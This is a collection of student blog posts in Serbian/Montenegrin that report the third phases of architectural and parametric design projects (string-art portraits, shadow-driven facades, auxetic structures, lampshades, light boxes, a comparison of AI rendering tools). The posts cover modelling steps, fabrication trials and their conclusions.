Vizuelizacija portreta String artom – Faza 3

Cilj istraživanja je bio pronaći na koji način je najbolje pozicionirati tačke na fotografiji i koliki će biti njihov najmanji broj kako bi se postiglo uspješno prepoznavanje ličnosti.

1. korak

Komponente koda u grashopperu gdje se podešava rastojanje najtamnijih i najsvjetlijih tačaka fotografije i njihova dispozicija, što predstavlja bazu za dalje istraživanje.

Screenshot (77)

2. korak

Izabrali smo 4 portreta poznatih ličnosti i napravili 4 različita inicijalna rasporeda tačaka u kodu. Zatim smo povezivali prvih 1000 tačaka koje se povezuju u strune, i tako nastavljali povezivati tačke u grupama po 1000 sve do konačnih 5000, da bi vidjeli sa koliko povezanih tačaka dolazimo do cilja, odnosno do prepoznavanja ličnosti.

3. korak

Za inicijalni raspored tačaka prvog portreta izabrali smo da rastojanje između svijetlih tačaka fotografije bude minimalno, dok rastojanje tamnijih tačaka bude srednje i dobili smo sledeći rezultat:

Screenshot (84)

referentna fotografija

Kod 101Kod 102Kod 104Kod 104Kod 105

Sa ovih fotografija zaključujemo da na ovaj način smo sa 3000 tačaka povezanih u strune mogli donekle prepoznati portret,  dok dalje povezivanje ne pravi drastičnu razliku.

4. korak

Za inicijalni raspored drugog portreta izabrali smo da rastojanje tačaka između svjetlijih tačaka bude jednako kao kod prethodnog portreta, dok da rastojanje kod tamnijih malo povećamo, i dobili smo sledeći rezultat:

Alvar-Aalto

referentna fotografija

Kod 201Kod 202Kod 203Kod 204Kod 205

Sa ovih fotografija zaključujemo da već sa 2000 spojenih tačaka je moguće prepoznati portret, i da dalje spajanje neće napraviti drastičnu razliku.

5. korak

Za ovaj korak uzeli smo istu fotografiju kao što je fotografija iz koraka 3, samo smo promijenili dispoziciju tačaka, gotovo smo izjednačili razmak između svijetlih i tamnih tačaka i dobili smo sledeći rezultat:

Screenshot (84)

referentna fotografija

Kod 301Kod 302Kod 303Kod 304Kod 305

Dobili smo rezultat gdje u odnosu na prethodna podešavanja dispozicije tačaka, sa 2000 tačaka u ovom slučaju dobijamo jasniju sliku portreta.

6. korak

Za inicijalan početak tačaka ovog portreta smo povećali rastojanje tamnijih tačaka, dok smo rastojanje svijetlih tačaka ostavili da bude srednje i dobili sledeći rezulat:

jo ming pej

referentna fotografija

Kod 501Kod 502Kod 503Kod 504Kod 505

U ovom slučaju zaključujemo da već sa 1000 spojenih tačaka imamo gotovo identičan rezultat kao što smo u prethodnim koracima imali sa 2000 spojenih tačaka. I na ovaj način brže dolazimo do prepoznavanja portreta.

ZAKLJUČAK:

Iz ovog istraživanja možemo zaključiti da sa manjim brojem tamnijih tačaka, odnosno njihovim većim razmakom na fotografiji, i sa srednjim brojem svjetlijih tačaka možemo doći do najoptimalnijeg rješenja.

 

 

Posted in Opšte | Comments Off on Vizuelizacija portreta String artom – Faza 3

Faza III – dvostruko zakrivljene površi izvedene pomoću geodezijskih krivih

U trećoj fazi istraživanja, prelazi se na kombinaciju manuelnog i parametarskog modelovanja.

Bake-ovala sam geodezijske krive iz drugog metoga do kojih sam došla u fazi 2 i obrisala višak. Kako bih dobila dodatne krive koje će na bolji način oformiti otvor liniju spoljašnjeg oboda i liniju otvora sam podelila tako da dobijem tačke koje sam zatim bake-ovala. Jednu po jednu tačku sam uvodila ponovo u grasshoper i spajala ih koristeći MeshPaths plug-in tako da dobijem željene krive.

12

ZAKLJUČAK

Iako je postupak potpuno parametarskog modelovanja znatno brži, forma se lako menja i brzo nam može dati više varijacija rešenja, rezultat koji dobijemo nije odgovarajuć. Zbog toga kombinacija parametarskog i manuelnog modelovanja predstavlja bolje rešenje ovog zadatka jer je još uvek znatno brži od potpuno manuelnog modelovanja, a imamo veću slobodu manipulacije forme u odnosu na potpuno parametarski pristup.

render 2

 

Posted in Opšte | Comments Off on Faza III – dvostruko zakrivljene površi izvedene pomoću geodezijskih krivih

Faza 3: Modelovanje parametarskih otvora na fasadi u odnosu na senke drveća

Treća faza rada ističe uspešnost primenjenog algoritma.

Snimak ekrana 2024-07-21 195452

 

Uz pomoć postavljenog algoritma parametarskom metodom su ostvareni kriterijumi i cilj istraživanja. Tok različitih veličina heksagonalnih otvora na fasadi je projektovan tako da poravna tok najvećih rupa sa površinama najvećeg senčenja od drveća, čime je postignut pravilan raspored otvora i adekvatno osvetljen enterijer.

Snimak ekrana 2024-07-21 195609

 

Rezultati istraživanja pokazuju da je problem adekvatne osvetljenosti enterijera moguće rešiti generičkim pristupom pomoću algoritma koji omogućava različita rešenja u kratkom vremenskom periodu. Promenom broja ili rasporeda drveća, na brz način, dolazi i do promene veličine i rasporeda otvora na fasadi.

Posted in 23/24 Radovi | Comments Off on Faza 3: Modelovanje parametarskih otvora na fasadi u odnosu na senke drveća

Parametarsko generisanje senki – Faza 3

Prilikom dobijanja forme senke dolazimo do zaključka da nisko postavljeno osvetljenje stvara manje jasnu senku.

10

Jasniju konturu stvara senka od svetlosti iz većeg ugla u odnosu na površ pomoću broja površina koji nama odgovara.

 

7 9

5 3

 

Na kraju izdelimo površi tako da izmedju njih ne prolazi svetlost koja bi izdeformisala senku. Problem prilikom daljeg istraživanja predstavljaju izdeljene površi koje su zbog izvora svetlosti postavljene relativno visoko, tako da bi se morale pričvrstiti za podlogu transparentnim materijalima kako ne bi remetili senku.

2 1

Posted in 23/24 Radovi | Comments Off on Parametarsko generisanje senki – Faza 3

Simulacija prostiranja zvuka u holu FTN-a sa i bez akustičnih panela – FAZA2

Poslednji korak ovog ispitivanja, jeste primena prethodnog na sada, složenijem primeru: holu FTN-a.

1. Prvo ćemo geomteriju prostora svesti sa ove:

hol2 holMODEL NIKSIN

 

Na ovu:

ftn laksa geom

2. Nakon toga primenićemo prethodni kod za simulaciju zvuka na ovaj primer. I uporediti kretanje čestica sa i bez akustičnih panela na plafonu prostorije kod čitaonice.

zvuk bez panela novi

 

 

sa panelima:zvuk sa panelima

 

primećujemo malu,ali razliku u prostiranju čestica zvuka.

kod za simulaciju zvuka

 

ZAKLJUČAK: Kod za simulaciju zvuka funkcioniše i prikazuje nam prostiranje čestica zvuka u prostoru, a primena akustičnih panela ima uticaj na upijanje čestica i smanjenje reverberacije. Primena adekvatnog materiijala za akustične panele dodeliće im smisao. Kod koda za kalkulaciju zvuka i vremena reverberacije postoji odredjeni problem i ne funkcioniše na komplikovanijem primeru tj.geometriji.

Posted in Opšte | Comments Off on Simulacija prostiranja zvuka u holu FTN-a sa i bez akustičnih panela – FAZA2

Anamorfna fasada- modelovanje i vizualizacija -faza III

Nastavkom istraživanja iz prethodne faze i isprobavanjem različitih oblika željene senke, odlučujem se da nastavim da radim sa konturnom linijom sata na Petrovaradinskoj tvrđavi. Ovaj oblik se ispostavio kao ne previše komplikovan, a ni previše jednostavan.

TRI IZVORA DVA IZVORA

Izvor svetlosti:

Probala sam da koristim dva ili tri izvora svetlosti, krajnjim rezultatima zaključujem da se jasnija senka formira kada se koriste samo dve lampe, dodavanjem treće sa strane gde već postoji jedna lampa dolazi do zamućenja linije koja čini oblik sata na fasadi jer susedni izvori svetla sa istim geometrijama formiraju dve senke.

Na desnoj strani izvor svetlosti je bliži geometriji na koju svetlost pada, nego na levoj strani, samim tim vidimo malu razliku u oštrini dobijene senke. Zaključak je da je senke jasnija ukoliko je izvor svetla bliži.

Problem:

Krajnja linija senke nije potpuno jasna i ravna jer da bi postigli taj efekat trebalo bi gušće postaviti cilindričnu geometriju koja senku formira, ili sam izvor svetla mnogo bliže svoj geometriji, samim tim fasada ne bi izgledala kao zamisljena. Takođe, kada bi želeli da dobijemo komplikovaniji oblik presečeni cilindri umaju jako neravne završetke na gorenjem delu koji pravi senku, što bi otežalo fabrikaciju. U ovom slucaju postoje takvi završeci takođe, ali je njihov broj smanjen.

FAJNAL

Ovako izgleda krajnje dobijeni rezultat fasade noću, dodala sam kazaljke sata kako bih postigla bolji efekat.

dan1

Fasada preko dana izgleda samo kao geometrija različite dužine raspoređena duž fasade sa satom u sredini.

u boji

Posted in 23/24 Radovi | Comments Off on Anamorfna fasada- modelovanje i vizualizacija -faza III

Da li dept of field pozitivno utiče na postizanje fotorealističnosti rendera i kako?

Postavkom istih parametara stvarne i virtuelne kamere, ne dobija se potpuno realističan render, kao ni potpuna simulacija fotografije koja je zabeležena. Za njega su potrebna dodatna podešavanja, kako kamere, tako i adekvatnog osvetljenja, materijalizacije i drugih detalja, eventualna postprodukcija…

Ključno je da potpuno istim postavkama, odnosno upoređivanjem istih parametara ove dve kamere, neće biti postignut željeni fotorealizam, stoga,

 

Izdvojla bih da, pored svih parametara i podešavanja u programu, za postizanje i poboljšavanje fotorealističnosti rendera značajno doprinosi dubina polja (Depth of Field, DOF). 

I to na nekoliko načina:

1. Realističan fokus: DOF pomaže u stvaranju efekta realističnog fokusa, gde su objekti blizu jasni i oštri, dok su objekti izvan te tačke zamagljeni. To simulira način na koji stvarne kamere rade i dodaje realizam sceni.

2. Dodavanje dubine: Uključivanje DOF-a može pomoći u kreiranju osećaja dubine u slici, čineći scenu trodimenzionalnijom i vizuelno interesantnijom.

3. Usmeravanje pažnje: DOF može usmeriti pažnju gledaoca na određene delove scene, naglašavajući ključne elemente.

4. Estetski efekat: Zamućenje pozadine može dodati estetski prijatan efekat slici, često korišćen u portretnoj i makro fotografiji da bi se istakli glavni objekti.

5. Simulacija stvarne fotografije: Koristeći DOF, renderi mogu izgledati kao fotografije snimljene stvarnim kamerama, što dodatno povećava nivo realizma.

Primer uporednog podešavanja istih parametara na stvarnoj ( Canon 1200D 80-55mm ) kameri i 3Ds Max virtuelnoj kameri.

* ključna je upotreba parametra dept of field.

biljke1 biljkerend

 

Posted in Opšte | Comments Off on Da li dept of field pozitivno utiče na postizanje fotorealističnosti rendera i kako?

Modelovanje i ispitivanje adaptibilnosti i funkcionalnosti stress release predmeta primenom auxetic strukture-faza III

 3. Poredjenje modela u teoriji

 4. Štampa, praktična primena i poredjenje modela u praksi

Poređenje modela u teoriji

Prilikom istraživanja i modelovanja u prethodnoj fazi istraživanja, kreirana su dva modela kocke koristeći različite pristupe i šablone.

MODEL

Prednost prvog modela: Jednostavnost u dizajnu i stabilnost strukture.

Mane: Velika potrošnja materijala i kompleksnost u postizanju željene fleksibilnosti i stabilnosti.

Prednosti drugog modela: Veća čvrstoća i stabilnost uz smanjenje materijalnih troškova i težine modela. 

Mane: Složenost proizvodnje i potencijalna krhkost na spojevima, što može povećati vreme za razvoj. Takodje prilikom 3d štampe potrebna je izrada podkonstrukcije ili držača.

Štampa, praktična primena i poredjenje u praksi

  • Priprema modela za štampu:

-Pripremljena su dva modela za štampu dimenzija 5.6cmx5.6cmx5.6cm, dok je debljina ćelija kod rešetkaste strukture 0.2cm.

  • Planirano je da materijal za štampu bude fleksibilna plastika – ukazano je na to da guma ili neki veoma elastičan materijal ne može da se koristi za 3d štampu ovako komplesnih modela.

Nažalost, proces 3D štampanja nije uspeo kako je planirano, jer su modeli štampani od čvrste plastike umesto fleksibilne koja je predvidjena da se koristi, što nije omogućilo željenu funkcionalnost iako je njihova struktura i izgled estetski vrlo zadovoljavajući.

Samim tim onemogućeno je i testiranje modela.

Modeli dobijeni 3d štampom

1   2

3  4

 Došlo je do sledećih problema:

  • Male dimenzije i krhkost modela, naročito rešetke. Jedina mogućnost za 3D štampu u ovom slučaju je upotreba podkonstrukcije ili držača, kao i povećanje debljine osnovne jedinice na više od 0.2cm kako ne bi došlo do kidanja i pucanja. U suprotnom, nije moguće koristiti savitljive materijale.
  • Kod prve kocke, glavni problem su dimenzije. Da bi se omogućilo štampanje od fleksibilnijih materijala, poput gume ili specijalnih plastika, potrebno je prilagoditi dimenzije kako bi se sprečilo pucanje i kidanje strukture.

Smatram da nisam uspela da potvrdim hipotezu sa početka, zato što proces štampe nije bio uspešan odnosno zbog materijala ne može se potvrditi teorijski zaključak, samim tim nemam potvrdu da ovi modeli pružaju satisfakciju korisniku, dok je potvrdjena teza o potrošnji materijala. Ali bez obzira na poteškoće, istraživanje je pružilo uvide u mogućnosti auxetic struktura i njihov potencijal za stvaranje inovativnih rešenja u modelovanju stress release predmeta.

Modeli se mogu sagledati i uporediti teorijski, medjutim potreban je nastavak istraživanja i eksperimentisanja kako bi se hipoteza smatrala potpuno tačnom. Buduće istraživanje uključuje korišćenje fleksibilnijih materijala uz rešavanje problema koji predstavljaju prepreku za process 3d štampe.

 

Posted in Opšte | Comments Off on Modelovanje i ispitivanje adaptibilnosti i funkcionalnosti stress release predmeta primenom auxetic strukture-faza III

Modelovanje zakrivljenih površi i njihova fabrikacija od lepenke – faza 3

Modelovanje i fabrikacija abažura za lampe:

  1. Proces modelovanja

Cilj: od jedne ravne ploče napraviti abažur koji sadrži otvore.

Srf -> UnrollSrf -> Polyline -> Trim -> Extrude -> Rotate3D -> ArrayPolar

Prvo moramo obratiti pažnju na oblik abažura, da li je cilindar, konus, zarubljeni konus, sfera ili neki drugi geometrijski oblik. Potom se traži razvijena forma datog geometrijskog tela. Svako geometrijsko telo ima drugačiju razvijenu formu, pa tako cilindar postaje pravougaonik, a konus isečak kruga.

22

Primetićemo da su kod cilindra izvodnice prave paralelne linije dok se kod konusa izvodnice seku u jednoj tački odnosno centru kružnice.

222

Kako se ploča ne bi lomila ili listala tokom formiranja datog geometrijskog tela mora se zasecati po izvodnicama razvijene forme. Međutim, ukoliko zasecamo isključivo po izvodnicama nećemo dobiti željene otvore a ukoliko potpuno presečemo izvodnice ploča će se raspasti. Shdno tome na ivicama ploče pratimo izvodnice a na sredini ploče imamo potpunu slobodu da osmislimo oblik zasecanja kakav želimo. Pre nego što nacrtamo novi oblik potrebno je razmotriti dužinu razvijene forme i podeliti je na jednake delove kako bi nove pločice bile jednake i kako bi dobili konkretne dimenzije novih pločica.

3

Kada nacrtamo novi oblik izdvojimo ga, dodamo mu debljinu 2mm (lepenka, 2mm) i postavimo ga u položaj izvodnica originalnog geometrijskog tela. U slučaju cilindra izvodnica je paralelna z-osi dok su kod konusa izvodnice pod određenim uglom.

2

Alatkom ArrayPolar rasporedimo novu pločicu po kružnici istih dimenzija kao gornje baze cilindra ili zarubljenog konusa. Voditi računa o opcijama unutar alatke (postavljanju kružnice, broju ponavljanja i uglu delovanja).

1

38

  1. Proces fabrikacije 
  • Priprema za lasersko sečenje

Kako ne bi došlo do neadekvatnih spojeva prilikom fabrikacije abažura, dati oblik pločice treba umnožiti po razvojnoj formi tako da se linije paralelne izvodnici poslednje pločice poklapaju sa krajnjom ivicom razvojne forme.

2222222

Potrebno je modifikovati razvijenu površ, odsecanjem viška i dodavanjem ga sa desne strane.

3333

Šablon sečenja ploče, crvene linije laser seče a plave gravira.

111111

  • Konačan rezultat istraživanja

WhatsApp Image 2024-07-14 at 04.42.48WhatsApp Image 2024-07-14 at 04.44.38WhatsApp Image 2024-07-14 at 04.42.49

 

Posted in 23/24 Radovi | Comments Off on Modelovanje zakrivljenih površi i njihova fabrikacija od lepenke – faza 3

Kreiranje i ispitivanje potencijalnih varijacija izrade 3D LIGHT BOX-a kao slojevite slike grada / FAZA 3

Kao što je već nagovješteno u predhodnim postovima, istraživanje se  usmjerava na uspješnost i efikasnost brze izrade 3D light boxa kao slojevite slike nekog grada.

Sam rad podijeljen je u nekolike faze:

  • I Faza: Pomenuta u predhodnoj objavi jeste razvrstavanje odabranih dijelova u slojeve, te potencijalno isprobavanje kroz renderovanje dobijenog modela;
  • II Faza: iscrtavanje i sječenje – gdje je zbog nivoa detaljnosti, kao i preciznosti izrade, odabrano lasersko sjećenje slojeva. Svaki sloj prvobitno je iscrtan pomoću programa, te laserski sječen na hamer papiru (190g):

sječeenjeeslojevi

  • III Završna Faza: izrada light boxa: neophodni materijali: bijeli papir – slojevi, forex od koga će se praviti box i distanceri između slojeva, LED traka za pozadinsko osvjetljenje, ljepilo…

U ovoj fazi rada isprobane su različite varijacije – te je najoptimalnije rješenje odabrano kao konačno:

Pošto je neophodno svaki sloj distancirati za određenu vrijednost od drugog ( stvarajući tako efekat dubine prostora) uzimale su se sljedeće varijacije:

  • Distance od 4cm – Box je velikih dimenzija, pa kao takav nije isplativ za praviti jer je veliki utrošak materijala za „okolicu“ koja ne bi trebala da bude u fokusu. Slojevi papira na ovoj distanci ne daju lijepe sjenke – ni pri direktnom ni pri pozadinskom osvjetljenju, te je neophodno smanjiti distance između slojeva kako bi se poboljšali nedostaci.
  • Distance od 2cm – pri ovom rastojanju među slojevima dobija se kvalitetnija varijanta od predohne.

Olako se sagledava zamišljena dubina prostora, bolja je igra svjetla i sjenke, ali idalje  je debljina boxa neracionalna i nepraktična, pa se rastojanja među slojevima dodatno smanjuju.

 

2.0 2.01

 

  • Distance od 1cm – upotrebom ovog rastojanja među slojevima debljina boxa smanjuje se za još nekolika cm. Ova distanca uzeta je kao minimalna – jer se pri svakoj manjoj gubi efekat dubine prostora i slojevi izgledaju  kao potpuno spojeni – što se protivi početnoj ideji.

    Pošto se ova distanca pokazala kao najoptimalnije rješenje ujedno se uzima i za konačno. Različiti efekti i doživljaj prostora mogu se još postići dodatnom upotrebom svjetlosti, te se u prilogu mogu vidjeti te varijante saa pozadinskim (ugrađenim LED svjetlom) + direktnim osvjetljenjem (u ovom slučaju korišćenom lampom).

1.0 1.01 1.010

 

 

 

Iz rezultata rada prikazanih kroz priloge dolazi se do zaključka da su ispunjeni ciljevi istraživanja, i da se početna hipoteza ispostavila kao tačna. Dakle, moguće je i isplativo je samostalno izraditi ovakvu vrstu unikatnog predmeta.

 

 

Posted in Opšte | Comments Off on Kreiranje i ispitivanje potencijalnih varijacija izrade 3D LIGHT BOX-a kao slojevite slike grada / FAZA 3

Faza 3- izrada kalupa za sveću primenom parametarskog modelovanja

Na početku treće faze bilo je potrebno 3d ištampati model za kalup:

Snimak ekrana 2024-07-14 023544

Kada smo ištampali model potrebno je obložiti ga silikonom, kada se silikon ossuši treba napraviti najmanji otvor kroz koji možemo izvaditi model. Posle kroz kalup provlacimo fitilj za sveću, nakon čega možemo sipati vosak.

Finalni rezultat:

Snimak ekrana 2024-07-14 024257 Snimak ekrana 2024-07-14 024439

 

Zaključak:  Primenom ovih softvera moguće je napraviti interesantna foma sveće, sa koje se kalup može lako uloniti i koristiti više puta.

Posted in 23/24 Radovi | Comments Off on Faza 3- izrada kalupa za sveću primenom parametarskog modelovanja

Modelovanje integrisane zidne lampe, inspirisane srpskom sakralnom arhitekturom, u 3ds Max-u, sa fokusom na izradu detalja, elementa urušenog zida-Faza 3

Prilikom praktičnog dela rada u prethodnom postu uočeni su nedostaci, u vidu lošeg kvaliteta i previše utrošenog vremena prilikom korišćenja metode 1, dok sam metodom 2 dobila dobre rezultate prilikom oduzimanja dela geometrije. Samim tim odlučeno je da će se na finalnom modelu koristiti drugi metod kako bi se dobio kvalitetan i efikasan rezultat urušenog zida, što sličniji referentnim ugradnim lampama.

Za finalni model izabrala sam manastir koji je od velikog značaja za srpsku istoriju i koji je danas uvršten na listu svetske kulturne baštine, manastir Sopoćani.

Na internetu ne postoji 3d model ovog manastira, tako da sam prvo izmodelovala osnovnu geometriju u 3dsMax-u, koju sam zatim ubacila u okvir lampe.

Prikaz osnovne geometrije modela:

1

 

Primena metode 2 na geometriji manastira Sopoćani:

Modelovanje kamena je urađeno po istom principu kao i u prethodnom postu, s tim da su u ovom slučaju, kako bi se dobio željeni oblik kamena, menjani sledeći parametri: strenght i decay u displacement-u, i size, fractal iterations i roughness u mapi (cell characteristics).

map edit

Isecanje osnovne geometrije urađeno je bulovom operacijom, rotacijom i pozicioniranjem tri kamena različitih dimenzija i neravnina, kako bi se dobio realističan (kvalitetan) izgled urušenog zida.

  • Dolazi se brže do željenih rezultata, veći je kvalitet dobijene geometrije i bolja detaljnost.
  • Ne utiče na okolnu geometriju i lako se koristi. Jednom izmodelovan kamen može se koristiti više puta i u više projekata (modelovanja lampi).

Prikaz primene metode 2 na gotovom modelu manastira sopoćani:

3

 

 

 

 

 

 

 

 

 

 

 

 

 

Rezultati:

Prikaz finalnog modela integrisane zidne lampe:

r4

 

r2Uporedna analiza lampe modelovane metodom 1, metodom 2 i referentne fotografije:

uporediti

 

Primećujemo jasnu razliku u kvalitetu izrade urušenih zidova na prvoj i drugor fotografiji u odnosu na poslednju referentnu. Na osnovu mog i mišljenja kolega smatram da sam na drugom modelu uspešno izmodelovala urušene zidove korišćenjem proboolean operacije i isecanja geometrije kamenom, metodom 2.

Primeri dobrog nivoa detaljnosti ali loše kompozicije i lošeg modelovanja urušenog zida (metoda 1):

0- (2)

 

0- (3)

 

 

 

 

 

 

 

 

 

 

 

Primeri dobrog modelovanja urušenog zida (metodom 2), dobrog nivoa detaljnosti i dobre kompozicije:

r3 r5 r6

Zaključak:

Estetika i kvalitet integracije lampe u zid direktno su povezani sa kompozicijom i kvalitetom 3d modela, dok efikasnost izrade zavisi isključivo od načina modelovanja.

Na osnovu konačnog modela, integrisane zidne lampe, zaključujem da je hipoteza bila tačna i da je primenom prethodno objašnjene metode, modelovanja kamena i proboolean operacija, moguće kvalitetno i efikasno izmodelovati novu verziju lampe,u vidu manastira Sopoćani, koja izgleda kao da proizilazi iz zida zahvaljujući elementima, detaljima urušenog zida.

Veličine modela u odnosu na zid i čoveka:

Visina lampe je 24cm, dok je širina 20x18cm. Nalazi se na visini od 140cm.

0

 

Ugradnja

 Moguće dimenzije lampe:

Zid od gipsanih ploca 12.5cm -lampa širine do 10x10cm- visina je proizvoljna.

Zid od cigli 25 cm –lampa širine do 22x22cm- visina je proizvoljna.

Način ugradnje u zid od gipsanih ploča:

ugradnja

Način ugradnje u zid od cigle:

Princip je isti kao i u prethodnom primeru, samo što je isecanje zida zbog svojstva materijala teže i u određenim situacijama može iziskivati stručnu pomoć ili posebne alate.

Kako bi se u ovom slučaju ubrzao i olakšao proces, moguće je lampu ugraditi u stub (koji bi imao istu strukturu kao zid od gipsanih ploča) koji bi se pričvrstio za masivni zid od cigle.

 

 

 

 

 

 

 

Posted in 23/24 Radovi | Comments Off on Modelovanje integrisane zidne lampe, inspirisane srpskom sakralnom arhitekturom, u 3ds Max-u, sa fokusom na izradu detalja, elementa urušenog zida-Faza 3

Poređenje modelovanih rendera i AI rendera

Pretpostavka je bila da je lakše i brže doći do rendera preko AI programa nego da modelujemo sami i renderujemo u nekim od programa za to.

Isprobavanjem besplatnih programa vezanih za AI renderovanje, imamo par koji su ušli u uži izbor a to su:

-Fabrie AI

-ReRender AI

-mnml.ai

-LookX AI

Kriterijumi za odabir programa jeste da su besplatni, svima dostupni i laki za korišćenje.

U svaki od ovih programa uneseni u isti podaci i testirano je kakve rezultate koji program daje, testirani su renderi dobijeni iz svakog programa i vrednovani bodovima na osnovu kriterijuma i podkrterijuma. Kriterijumi se odnose na verodostojnost rendera osnosno integritet geometrije, broj besplatnih kredita, količina informacija potrebna da bi se postigao rezultat, sličnost originalu, svi neophodni elementi i kvalitet boja i tekstura.

Rezultati su u rasponu od 35 do 75 bodova. Najveći problem predstavlja nedovoljan broj kredita da bi se uradio kvalitetan render i to što je potrebno ubaciti već gotovu skicu da bi program adekvatno prepoznao strukture.

Neki od rendera dobijenih preko AI.

1720811502497314392

Zaključak:

AI tehnologuje su zaista uzele puno maha, od svakodnevnih aktivnosti, gde na primer možemo da postavimo pitanje bilo kakve prirode i iste sekunde dobijemo odgovor pa sve do toga da je pretpostavka da će neka zanimanja potpuno izumretni razvitkom AI tehnologija. Ta činjenica zvuči zaista zastrašujuće uzimajući u obzir da se ljudi školuju godinama u nadi da ih na kraju tog puta čeka posao, da li AI trenutno predstavlja pretnju ili ne? Odgovor nije jednostavan jer postoji mnoštvo faktora koji utiču na to, na primer sama veštost arhitekte u izradi rendera i njegova brzina i učinkovitost, sa druge strane imamo AI online besplatne programe koji za mnogo manje vremena mogu da izbace render. Ali istina je ipak da koliko god AI bio “pametan” ipak nemamo potpunu kontrolu nad njim i ne možemo uvek predvideti kakav ćemo rezultat dobiti. Za sad je AI vezan za renderovanje i dalje malo “neposlušan” ali može nam poslužiti kao ideja ili kao neki početni render koji ćemo kasnije razraditi, Programi najbolje shvataju scenu u kojoj su prisutni svi neophodni elementi, stoga je pogodno recimo iz SketchUp-a ubaciti skice ili model i na osnovu njega dobiti render. Tako da je ipak potrebno prethodno izmodelovati ali možemo sebi ipak uštedeti vreme.

Posted in Opšte | Comments Off on Poređenje modelovanih rendera i AI rendera

Modelovanje nadstrešnice 3D L sistemom i 2D krivolinijskim sistemom – III faza

U trećoj fazi modelovanja nadstrešnica postavljaju se krovne konstrukcije i završava proces projektovanja. Na samom kraju pomoću situacionog rendera izvedena je mini anketa.

Dvodimenzionalni nosač se duplira i postavlja se jednostavna, ručno projektovana krovna konstrukcija koja prati kosinu tačaka oslanjanja.

materijal 5

Trodimenzionalnom nosaču se dodaje proizvoljna krovna konstrukcija, koja se zatim deli na manje povrsine putem opcije Quad Remesh/Quad Remesh Settings, njima se dodaju ivice – Mesh Edges i daje im se visina – Extrude. Kako bi se nosač uklopio u oblik krova, dodaju se nastavci. Oni dobijaju debljinu funkcijom Tube.

screenshot koda2

materijal 6

materijal 7

Postavljanjem dobijenih struktura u odgovarajuću izrenderovanu situaciju, dobijamo da su one drastično drugačije biomimetičke strukture.

Kroz anketu većina ispitanika se izjasnila da je nadstrešnica dvodimenzionalnih nosača poželjnija zbog svoje jednostavnosti i boljeg prostora koji pruža, dok druga suviše blokira slobodu prostora. Takođe, izjašnjeno je da prva iako manje kompleksna, dovoljno imitira prirodne strukture i funkcioniše bolje.

render1

render2

Posted in 23/24 Radovi, Opšte | Comments Off on Modelovanje nadstrešnice 3D L sistemom i 2D krivolinijskim sistemom – III faza

Istraživanje auxetic materijala: Analiza transformacije bistabilnog heksagonalnog šablona, FAZA 3 – Testiranje šablona i realizacija 3D oblika

auxetic dome-top

1. Uvod

U trećoj fazi istraživanja, različite varijante šablona su testirane na papiru kako bi se odredili optimalni parametri za postizanje željenog 3D oblika. Proces je uključivao štampanje, sečenje skalpelom i isprobavanje različitih dužina zglobova kako bi se postigla optimalna fleksibilnost i stabilnost strukture. 

2. Priprema i testiranje uzoraka

Štampanje šablona:

  • Šabloni su štampani na A4 papir debljine 1mm.

Sečenje skalpelom:

  • Nakon štampanja, šabloni su pažljivo sečeni skalpelom kako bi se formirali potrebni zglobovi.

Testiranje dužine zglobova:

  • Testiranje je započeto šablonima koji ostaju ravni nakon širenja. Cilj je bio videti kako se papir ponaša sa različitim dužinama zglobova:
    • Zglob od 1mm: Uzorak se najlakše širio, ali je brzo pucao.
    • uzorak_zglob 1mm
    • Zglob od 3mm: Najteže je bilo raširiti uzorak, manje je dolazilo do pucanja, ali je struktura bila kruta.
    • uzorak_zglob 3mm
  • Zglob od 2mm: Pokazao se kao najoptimalnije rešenje.
  • zglob 2mm

3. Optimizacija za 3D oblik

auxetic dome-secenje

Primena optimalnih parametara:

  • Na osnovu prethodnih testova, zglob od 2mm je primenjen na uzorak koji treba da formira kupolu prilikom širenja.

Formiranje kupole:

  • Uzorak je pažljivo raširen kako bi formirao kupolu. Posebna pažnja je posvećena zoni manjeg širenja (zbog sitnih elemenata) kako bi se izbeglo pucanje.
  • auxetic dome- skupjen
  • Za postizanje oble forme, bilo je korisno razvlačiti uzorak preko oble površi (npr. balona ili lopte).
  • auxetic dome-balon

auxetic dome-front

4. Zaključak

Po završetku ove faze, razvijeni šablon uspešno je formirao željeni 3D oblik kupole, u dovoljnoj meri ispunjavajući postavljene ciljeve istraživanja.

 

Posted in 23/24 Radovi, Opšte | Comments Off on Istraživanje auxetic materijala: Analiza transformacije bistabilnog heksagonalnog šablona, FAZA 3 – Testiranje šablona i realizacija 3D oblika

Modelovanje samonosive zakrivljene strukture faza 3

Primenjen je postupak modelovanja strukture iz faze 2 ali na kompleksnijoj formi:

Postupak:

  • U tačkama mesh-a postavljene su sfere određenog prečnika.

Screenshot_13

  • Urađeno je presecanje mesh-a sferema.

Screenshot_14

  • Na dobijenim isečcima urađen je MultiPipe kako bi se dobile spojnice.

Screenshot_15

  • Postavljena je još jedna grupa sfera takođe u tačkama mesh-a ali manjih dimenzija od prvobitnih.
  • Urađen je SolidDifference cele strukture i drugih sfera kako bi se dobili štapići koji ulaze u spojnice.

Screenshot_16

  • Na spojnicama je urađen zatim offset kako bi dobile debljinu.

Screenshot_11

  • Radi bolje estetike urađeno je Catmull-Clark zakrivljivanje.

Screenshot_12

Dobijena struktura:

2_Day_002

2_Day_001

2_Day_003

 

Spojnice su pripremljene za 3D štampu i numerisane:

Screenshot_1

Primećen je problem kod pojedinih spojnica gde je došlo do preklapanja ivica:

Screenshot_7

Štampanje spojnica:

IMG_20240713_095002

IMG_20240713_151221

Štampanje spojnica nije bilo potpuno uspešno.

Izgled spojnica sa preklapanjem:

IMG_20240713_151414

 

Kod nekih spojnica je preklapanje pravilo problem, kod nekih ne.

Korišćeni alati: Rhino, Grasshopper, Kangaroo

Problemi:

  • Primećeni su problemi pri samom modelovanju – preklapanje pojedinih spojnica gde bi trebalo u narednoj fazi isprobati modelovanje sa drugim dimenzijama.
  • Prilikom 3D štampe potrebno je pažljivije pripremiti spojnice kako bi što više njih bilo na približno istoj visini i u horizontalnoj ravni. U narednoj fazi bi se moglo isprobati postavljanje elemenata u horizontalnu ravan pomoću Grasshoppera. Za ovu fazu elementi su orijentisani u Rhinu pomoću Orient3P. Takođe, trebalo bi ponovo razmotriti dimenzije elemenata.
  • Potrebno je testirati ponašanje materijala – štampanih spojnica i drvenih štapića. Korišćeni su štapići prečnika 0.4cm, dok su spojnice sa širinom otvora prečnika 0.44cm

Zaključak:

Postupak dobijanja strukture i spojnica bi mogao biti uspešan. U narednom istraživanju bi se trenutni problemi mogli rešiti.

